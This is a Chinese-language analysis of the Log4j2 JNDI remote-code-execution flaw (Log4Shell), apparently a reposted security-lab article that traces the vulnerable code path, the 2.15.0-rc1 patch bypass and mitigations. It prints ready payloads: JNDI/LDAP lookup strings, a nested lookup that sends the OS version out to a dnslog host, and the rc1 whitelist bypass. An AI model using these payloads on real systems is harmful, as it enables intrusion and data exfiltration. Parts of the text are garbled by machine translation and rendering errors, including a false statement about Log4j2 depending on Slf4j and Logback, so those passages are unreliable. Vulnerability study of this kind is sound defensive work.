0x01前言
IT社区最近曝光的log4j2漏洞引起了广泛关注。 log4j2是各种派生框架使用的卓越的Java程序日志监控组件,也是当前Java生态系统的基本组件。一是一旦这样的组件崩溃,就会产生难以估量的后果。
Apache Log4j2漏洞影响统计显示,受影响的开源软件有60644个,涉及软件包相关版本321094个。该漏洞结构简单,利用成本极低,对Java生态系统来说是一场灾难。在本文中,我们将从头开始详细了解log4j2 漏洞。只有知道为什么,才能深入理解并有的放矢。
0x02 Java日志体系
要理解log4j2,我们需要谈谈Java的日志系统。 2001 年之前,Java 没有日志库。下面列出的缺点也很明显。
很多IO操作。
无法合理控制输出,输出内容无法保存,必须进行监控。
日志格式无法自定义或详细查看。
2001 年,软件开发人员Ceki Gulcu 设计了一个名为log4j 的日志库(注意这里缺少2)。 Log4j从此成为Apache项目,作者也加入了Apache组织。这是情节。 Apache组织向Sun公司提议将log4j引入标准库。但Sun有自己的小想法,因此他们拒绝了该提议并推出了自己的参考版本JUL(Java Util)和JDK1。 4. 记录)。不过这个功能还是不如Log4j强大。使用范围也很窄。
随着两个日志库的出现,Apache 推出了日志门面JCL(Jakarta Commons Logging),为开发人员提供使用选择。它提供了一个日志记录抽象层,可以动态绑定日志记录实现组件(log4j、java.util.logging 等)以在运行时工作。无论导入哪一个,都会被绑定,因此无需更改配置。当然,如果不导入的话,内部也有简单的Simple logger的实现,不过它的功能太弱了,可以直接忽略。该架构是:
【关注我们获取所有资源。】私信回复“资料”即可获取】1. 200本已不再可用的绝版电子书2. 某安防大厂30G内部视频资料3. 100份源文档4. 常用安全面试题5 CTF经典赛题解析6. 完整工具包7. 应急响应笔记8. 网络安全学习路线
2006年,log4j的创建者Ceki Gulcu离开了Apache组织,发现JCL很难使用,并开发了具有类似功能的Slf4j(Simple Logging Facade for Java)版本。 Slf4j 需要使用桥接包来建立与日志记录实现组件的关系。由于Slf4j每次使用时都需要桥接包,因此作者还创建了Logback日志标准库作为Slf4j接口的默认实现。其实根本原因是log4j目前无法满足你的要求。下面是桥接架构图。
到了2012年,Apache可能已经无法忍受被超越,于是他们推出了一个新项目Log4j2,该项目与Log4j不兼容,完全依赖于Slf4j+Logback。这个参考还是比较成功的。
Log4j2 具有Logback 的所有功能,但也有单独的设计,分为log4j-api 和log4j-core。 log4j-api 是日志记录接口,log4j-core 是日志记录标准库,也由Apache 提供。 Log4j2 Bag 的不同桥接器
到目前为止,Java日志系统分为两个阵营:Apache阵营和Ceki阵营。
0x03 Log4j2源码浅析
Log4j2 是一个Apache 开源项目。 Log4j2 允许您控制日志信息发送到控制台、文件、GUI 组件,甚至套接字服务器、NT 事件记录器、UNIX Syslog 守护进程等的位置。您还可以通过定义每个日志中的信息级别来控制每个日志的输出格式,从而更好地控制日志生成过程。最有趣的是,您可以通过配置文件灵活地配置这些,而无需更改您的应用程序代码。
从上面的解释可以看出Log4j2的功能非常强大。为了更好地理解Log4j2漏洞产生的原因,我们简单分析一下与漏洞相关部分的源码实现。
使用Maven部署2.14.0版本的相关组件。这将导入两个jar包。
依赖项依赖项groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.14.0/version/dependency/dependency
在项目目录资源中创建log4j2.xml 配置文件。
?xml version=’1.0’encoding=’UTF-8′?configuration status=’error’appenders!– 配置appender输出源为控制台并输出语句SYSTEM_OUT– console name=’console’ target=’SYSTEM_OUT’ !- – 配置控制台模式布局– PatternLayoutpattern=’%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} – %msg%n’//console/appendersloggers root level=’错误’appender-ref ref=’Console’//root/loggers/configurationlog4j2 包含两个主要组件:LogManager 和LoggerContext。 LogManager是Log4J2启动的入口点,可以初始化相应的LoggerContext。 LoggerContext解析配置文件等操作。
不使用slf4j 的Log4J 的常见用途是从LogManager 获取Logger 接口的实例并调用该接口上的方法。运行以下代码并检查打印结果。
导入org.apache.logging.log4j.LogManager;导入org.apache.logging.log4j.Logger;public class log4j2Rce2 {private static Final Logger logger=LogManager.getLogger(log4j2Rce2.class);public static void main(String[] args ) { string a=’${java:os}’; logger.error(a);}}
属性占位符插值器
log4j2中的环境变量键值对封装在一个StrLookup对象中。这些变量的值可以通过:${prefix:key}形式的属性占位符来引用。在Interpolator内部,以MapString和StrLookup的形式封装了多个StrLookup对象,如下图所示。
详细信息可以参见官方文档。这些实现类存在于org.apache.logging.log4j.core.lookup 包下。
如果参数占位符${prefix:key}有前缀,Interpolator会从指定前缀对应的StrLookup实例中查询key。如果参数占位符${key} 没有前缀,则Interpolator 从默认查找器运行查询。例如,如果使用${jndi:key},则会调用JndiLookup 的查找方法并使用jndi(javax.naming) 检索该值。如下所示。
图案布局
log4j2支持通过配置布局以指定格式打印格式化日志。要完成此功能,请在附加程序后添加布局。一种常用的是PatternLayout。这是配置文件%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} 的PatternLayout 字段中指定的属性模式的值。 -%消息%n。 %msg 代表输出消息。其他格式字符的含义请参考官方文档。
PatternLayout模式布局通过PatternProcessor模式解析器解析模式字符串,获取ListPatternConverter转换器列表和ListFormattingInfo格式信息列表。
你可以在配置文件中PatternLayout标签的pattern属性中看到类似%d的内容。 d代表转换器名称,Log4j2通过PluginManager收集Converter类别中的所有插件,并分析它们的@ConverterKeys注解。使用插件类获取转换器名称并建立该名称与插件实例之间的映射关系。一旦PatternParser 识别出转换器名称,它就会搜索映射。下图显示了关联的转换器名称注释和加载的插件实例。
该漏洞的关键在于转换器名称msg对应的插件实例MessagePatternConverter在处理日志中的消息内容时存在问题。在大多数情况下,这部分是攻击者可以控制的。 MessagePatternConverter解析日志中的消息内容,将其转换为${prefix:key}格式的字符串,并读取环境变量。如果在这种情况下使用jndi方法,就会出现漏洞。
日志级别
Log4j2支持多种日志级别,您可以对日志信息进行分类,并将相应的日志输出到适当的位置。只需要对日志输出控制文件做一些修改,就可以确定哪些信息应该输出,哪些信息不应该输出。级别从高到低分为六个级别:Fatal(致命)、Error、Warning、Information、Debug、Trace(堆栈)。 Log4j2还定义了一个内置的标准级别intLevel,其中级别越高,值越小。
log4j2如果日志级别(调用)大于或等于系统设置的intLevel,则启用日志输出。如果配置文件存在,则读取配置文件中的root level=’error’ 值并设置intLevel。当然,你也可以通过Configurator.setLevel(‘当前类名’, Level.INFO); 手动设置如果不指定配置文件,则默认使用错误级别(200),如下图所示。
0x04 漏洞原理
首先,让我们看一下互联网上最流行的有效负载。
${jndi:ldap://2lnhn2.ceye.io} 每个人都解释了如何使用Logger.error()方法触发漏洞。再次说明具体的漏洞环境代码。
导入org.apache.logging.log4j.Level;导入org.apache.logging.log4j.LogManager;导入org.apache.logging.log4j.Logger;导入org.apache.logging.log4j.core.config.Configurator;公共类Log4jTEst { public static void main(String[] args) { Logger logger=LogManager.getLogger(Log4jTEst.class); 直接转到logger.error(‘${jndi:ldap://2lnhn2.ceye.io}’);}} 。在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java 的directEncodeEvent 方法中设置断点,作为漏洞来源。该方法中的第一行代码返回当前使用的布局并调用相应的布局处理器。 log4j2的默认布局使用PatternLayout,如下图所示。
1717781015&x-signature=plhGzHV2vANtE%2F37sqOLhcSceE8%3D” alt=”9483ec22809e4aa7838557f14afb68cf~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1717781015&x-signature=plhGzHV2vANtE%2F37sqOLhcSceE8%3D” />
继续跟进在encode中会调用toText方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的StringBuilder中。
接下来会调用serializer.toSerializable,并在这个方法中调用不同的Converter来处理传入的数据,如下图所示,
这里整理了一下调用的Converter
org.apache.logging.log4j.core.pattern.DatePatternConverterorg.apache.logging.log4j.core.pattern.LiteralPatternConverterorg.apache.logging.log4j.core.pattern.ThreadNamePatternConverterorg.apache.logging.log4j.core.pattern.LevelPatternConverterorg.apache.logging.log4j.core.pattern.LoggerPatternConverterorg.apache.logging.log4j.core.pattern.MessagePatternConverterorg.apache.logging.log4j.core.pattern.LineSeparatorPatternConverterorg.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter这么多Converter都将一个个通过上图中的for循环对日志事件进行处理,当调用到MessagePatternConverter时,我们跟入MessagePatternConverter.format()方法中一探究竟
在MessagePatternConverter.format()方法中对日志消息进行格式化,其中很明显的看到有针对字符”KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …连着判断,等同于判断是否存在”{“,这三行代码中关键点在于最后一行
这里我圈了几个重点,有助于理解Log4j2 为什么会用JndiLookup,它究竟想要做什么。此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示
09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst – ${jndi:ldap://2lnhn2.ceye.io}本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是$符号,也就是说${jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?
可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串。replace的作用简单来说就是想要进行一个替换,我们继续跟进
经过一段的嵌套调用,来到Interpolator.lookup,这里会通过var.indexOf(PREFIX_SEPARATOR)判断”:”的位置,其后截取之前的字符。截取到jndi然后就会获取针对jndi的Strlookup对象并调用Strlookup的lookup方法,如下图所示
那么总共有多少Strlookup的子类对象可供选择呢,可供调用的Strlookup都存放在当前Interpolator类的strLookupMap属性中,如下所示
然后程序的继续执行就会来到JndiLookup的lookup方法中,并调用jndiManager.lookup方法,如下图所示
说到这里,我们已经详细了解了logger.error()造成RCE的原理,那么问题就来了,logger有很多方法,除了error以外还别方法可以触发漏洞么?这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。如下图所示:
当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小
跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示
而这里日志优先级数值小于等于200的就只有”error”、“fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是”warn”、”info”大于200的就触发不了了。
但是这里也说了是默认情况下,日志优先级是以error为准,Log4j2的缺省配置文件如下所示。
<?xml version=”1.0″ encoding=”UTF-8″?><Configuration status=”WARN”><Appenders> <Console name=”Console” target=”SYSTEM_OUT”> <PatternLayout pattern=”%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} – %msg%n”/> </Console></Appenders><Loggers> <Root level=”error”> <AppenderRef ref=”Console”/> </Root></Loggers></Configuration>所以只需要做一点简单的修改,将<Root level=”error”>中的error改成一个优先级比较低的,例如”info”这样,只要日志优先级高于或者等于info的就可以触发漏洞,修改过后如下所示
<?xml version=”1.0″ encoding=”UTF-8″?><Configuration status=”WARN”> <Appenders> <Console name=”Console” target=”SYSTEM_OUT”> <PatternLayout pattern=”%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} – %msg%n”/> </Console> </Appenders> <Loggers> <Root level=”info”> <AppenderRef ref=”Console”/> </Root> </Loggers></Configuration>关于Jndi部分的远程类加载利用可以参考实验室往常的文章:Java反序列化过程中 RMI JRMP 以及JNDI多种利用方式详解、JAVA JNDI注入知识详解
0x05 敏感数据带外
当目标服务器本身受到防护设备流量监控等原因,无法反弹shell的时候,Log4j2还可以通过修改payload,来外带一些敏感信息到dnslog服务器上,这里简单举一个例子,根据Apache Log4j2官方提供的信息,获取环境变量信息除了jndi之外还有很多的选择可供使用,具体可查看前文给出的链接。根据文档中所述,我们可以用下面的方式来记录当前登录的用户名,如下所示
<File name=”Application” fileName=”application.log”> <PatternLayout> <pattern>%d %p %c{1.} [%t] ${env:USER} %m%n</pattern> </PatternLayout></File>获取java运行时版本,jvm版本,和操作系统版本,如下所示
<File name=”Application” fileName=”application.log”> <PatternLayout header=”${java:runtime} – ${java:vm} – ${java:os}”> <Pattern>%d %m%n</Pattern> </PatternLayout></File>类似的操作还有很多,感兴趣的同学可以去阅读下官方文档。
那么问题来了,如何将这些信息外带出去,这个时候就还要利用我们的dnsLog了,就像在sql注入中通过dnslog外带信息一样,payload改成以下形式
“${jndi:ldap://${java:os}.2lnhn2.ceye.io}”从表上看这个payload执行原理也不难,肯定是log4j2 递归解析了呗,为了严谨一下,就再废话一下log4j2解析这个payload的执行流程
首先还是来到MessagePatternConverter.format方法,然后是调用StrSubstitutor.replace方法进行字符串处理,如下图所示
只不过这次迭代处理先处理了”${java:os}”,如下图所示
如此一来,就来到了JavaLookup.lookup方法中,并根据传入的参数来获取指定的值
解析完成后然后log4j2才会去解析外层的${jndi:ldap://2lnhn2.ceye.io},最后请求的dnslog地址如下
此时就实现了将敏感信息回显到dnslog上,利用的就是log4j2的递归解析,来dnslog上查看一下回显效果,如下所示
但是这种回显的数据是有限制的,例如下面这种情况,使用如下payload
${jndi:ldap://${java:os}.2lnhn2.ceye.io}执行完成后请求的地址如下
最后会报如下错误,并且无法回显
0x06 2.15.0 rc1绕过详解
在Apache log4j2漏洞大肆传播的当天,log4j2官方发布的rc1补丁就传出的被绕过的消息,于是第一时间也跟着研究究竟是怎么绕过的,分析完后发现,这个“绕过”属实是一言难尽,下面就针对这个绕过来解释一下为何一言难尽。
首先最重要的一点,就是需要修改配置,默认配置下是不能触发JNDI远程加载的,单就这个条件来说我觉得就很勉强了,但是确实更改了配置后就可以触发漏洞,所以这究竟算不算绕过,还要看各位同学自己的看法了。
首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比
修改前
修改后
可以很清楚的看到 增加了三个静态内部类,每个内部类都继承自MessagePatternConverter,且都实现了自己的format方法。之前执行链上的MessagePatternConverter.format()方法则变成了下面这样
在rc1这个版本中Log4j2在初始化的时候创建的Converter也变了,
整理一下,可以看的更清晰一些
DatePatternConverterSimpleLiteralPatternConverter$StringValueThreadNamePatternConverterLevelPatternConverter$SimpleLevelPatternConverterLoggerPatternConverterMessagePatternConverter$SimpleMessagePatternConverterLineSeparatorPatternConverterExtendedThrowablePatternConverter之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的,如下所示
可以看到并没有对传入的数据的“KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …的点就没有了么?当然不是,对“{}”的处理,开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示
问题来了,如何才能让log4j2在初始化的时候就实例化LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法呢?
其实很简单,但这也是我说这个绕过“一言难尽”的一个点,就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能,修改后的配置文件如下所示
<?xml version=”1.0″ encoding=”UTF-8″?><Configuration status=”WARN”> <Appenders> <Console name=”Console” target=”SYSTEM_OUT”> <PatternLayout pattern=”[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} – %msg{lookups}%n”/> </Console> </Appenders> <Loggers> <Root level=”info”> <AppenderRef ref=”Console”/> </Root> </Loggers></Configuration>这样一来就可以触发LookupMessagePatternConverter.format()方法了,但是单单只改配置,还是不行,因为JndiManager.lookup方法也进行了修改,增加了白名单校验,这就意味着我们还要修改payload来绕过这么一个校验,校验点代码如下所示
当判断以ldap开头的时候,就回去判断请求的host,也就是请求的地址,白名单内容如下所示
可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。
使用marshalsec开启ldap服务后,先将payload修改成下面这样
${jndi:ldap://127.0.0.1:8088/ExportObject}如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示
这里要求javaFactory为空,否则就会返回”Referenceable class is not allowed for xxxxxx”的错误,想要绕过这一点其实也很简单,在JndiManager.lookup方法中有一个非常非常离谱的错误,就是在捕获异常后没有进行返回,甚至没有进行任何操作,我看不懂,但我大为震撼。这样导致了程序还会继续向下执行,从而走到最后的this.context.lookup()这一步 ,如下所示
也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式
${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。
0x07 修复&临时建议
在最新的修复https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea中,在初始化插值器时新增了检查jndi协议是否启用的判断,并且默认禁用了jndi协议的使用。
修复建议:
升级Apache Log4j2所有相关应用到最新版。
升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。但仍有绕过Java本身对Jndi远程加载类安全限制的风险。
临时建议:
jvm中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)
新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)
设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)
对于log4j2 < 2.10以下的版本,可以通过移除JndiLookup类的方式。
0x08 时间线
2021年11月24日:阿里云安全团队向Apache 官方提交ApacheLog4j2远程代码执行漏洞(CVE-2021-44228)
2021年12月8日:Apache Log4j2官方发布安全更新log4j2-2.15.0-rc1,
2021年12月9日:天融信阿尔法实验室晚间监测到poc大量传播并被利用攻击
2021年12月10日:天融信阿尔法实验室于10日凌晨发布Apache Log4j2 远程代码执行漏洞预警,并于当日发布Apache Log4j2 漏洞处置方案
2021年12月10日:同一天内,网络传出log4j2-2.15.0-rc1安全更新被绕过,天融信阿尔法实验室第一时间进行验证,发现绕过存在,并将处置方案内的升级方案修改为log4j2-2.15.0-rc2
2021年12月15日:天融信阿尔法实验室对该漏洞进行了深入分析并更新修复建议。
0x09 总结
log4j2这次漏洞的影响是核弹级的,堪称web漏洞届的永恒之蓝,因为作为一个日志系统,有太多的开发者使用,也有太多的开源项目将其作为默认日志系统。所以可以见到,在未来的几年内,Apache log4j2 很可能会接替Shiro的位置,作为护网的主要突破点。
该漏洞的原理并不复杂,甚至如果认真读了官方文档可能就可以发现这个漏洞,因为这次的漏洞究其原理就是log4j2所提供的正常功能,但是不管是log4j2的开发者也好,还是使用log4j2进行开发的开发者也好,他们都犯了一个致命的错误,就是相信了用户的输入。
永远不要相信用户的输入,想必这是每一个开发人员都听过的一句话,可惜,真正能做到的人太少了。对于开源软件的生态安全,也需要相关企业和组织加以关注和共同建设,安全之路任重而道远。
原创文章,作者:小条,如若转载,请注明出处:https://www.sudun.com/ask/83811.html